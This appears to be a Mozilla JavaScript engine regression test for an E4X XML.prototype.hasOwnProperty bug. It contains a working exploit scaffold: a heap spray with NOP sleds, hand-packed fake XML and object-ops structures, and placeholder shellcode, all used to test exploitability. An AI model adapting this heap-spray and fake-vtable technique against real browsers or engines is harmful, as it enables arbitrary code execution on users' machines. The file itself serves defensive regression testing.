/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is JavaScript Engine testing utilities. * * The Initial Developer of the Original Code is * Mozilla Foundation. * Portions created by the Initial Developer are Copyright (C) 2006 * the Initial Developer. All Rights Reserved. * * Contributor(s): shutdown * * Alternatively, the contents of this file may be used under the terms of * either the GNU General Public License Version 2 or later (the "GPL"), or * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ gTestfile = 'regress-355569.js'; var bug = 355569; var actual = ''; var expect = ''; START('XML.prototype.hasOwnProperty foo'); printBugNumber (bug); printStatus (summary); var targetAddress = 0x12030010; var sprayParams = { chunkSize: 16 * 1024 * 1024, chunkCount: 16, chunkMarker: 0xdeadface, chunkAlign: 0x1000, reservedSize: 1024 }; function makeExploitCode() { /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; } /*==========================================================================*/ /*==========================================================================*/ function packData(template, A) { var n = 0, result = "", vl; for(var i = 0; i < template.length; i++) { var ch = template.charAt(i); if(ch == "s" || ch == "S") { vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff); } else if(ch == "l" || ch == "L") { // XXX endian vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16); } else if(ch == "=") { result += String(A[n++]); } } return result; } function buildStructure(worker, address) { var offs = {}, result = "", context = { append: function(k, v) { offs[k] = result.length * 2; result += v; }, address: function(k) { return address + ((k && offs[k]) || 0); } }; worker(context); result = ""; worker(context); return result; } function repeatToLength(s, L) { if(L <= s.length) { return s.substring(0, L); } while(s.length <= L/2) { s += s; } return s + s.substring(0, L - s.length); } function sprayData(data, params, rooter) { var marker = packData("L", [ params.chunkMarker ]); data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length); data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2); for(var i = 0; i < params.chunkCount; i++) { rooter[i] = marker + data + i; } } function T_JSObject(map, slots) { return packData("LL", arguments); } function T_JSObjectMap(nrefs, ops, nslots, freeslot) { return packData("LLLL", arguments); } function T_JSObjectOps( newObjectMap, destroyObjectMap, lookupProperty, defineProperty, getProperty, setProperty, getAttributes, setAttributes, deleteProperty, defaultValue, enumerate, checkAccess, thisObject, dropProperty, call, construct, xdrObject, hasInstance, setProto, setParent, mark, clear, getRequiredSlot, setRequiredSlot ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); } function T_JSXML_LIST( object, domnode, parent, name, xml_class, xml_flags, kids_length, kids_capacity, kids_vector, kids_cursors, xml_target, xml_targetprop ) { return packData("LLLLSS LLLL LL", arguments); } function T_JSXML_ELEMENT( object, domnode, parent, name, xml_class, xml_flags, kids_length, kids_capacity, kids_vector, kids_cursors, nses_length, nses_capacity, nses_vector, nses_cursors, atrs_length, atrs_capacity, atrs_vector, atrs_cursors ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); } /*==========================================================================*/ /*==========================================================================*/ function makeExploitData(address) { return buildStructure(function(ctx) { ctx.append("xml-list", T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0)); ctx.append("xml-kids-vector", packData("L", [ ctx.address("xml-element") ])); ctx.append("xml-element", T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0)); ctx.append("object", T_JSObject(ctx.address("object-map"), 0)); ctx.append("object-map", T_JSObjectMap(0, ctx.address("object-ops"), 0, 0)); ctx.append("object-ops", T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0)); ctx.append("exploit-code", makeExploitCode(ctx)); }, address); } function exploit() { sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {}); var numobj = new Number(targetAddress >> 1); XML.prototype.function::hasOwnProperty.call(numobj); printStatus("probably not exploitable"); } try { exploit(); } catch(ex) { } TEST(1, expect, actual); END();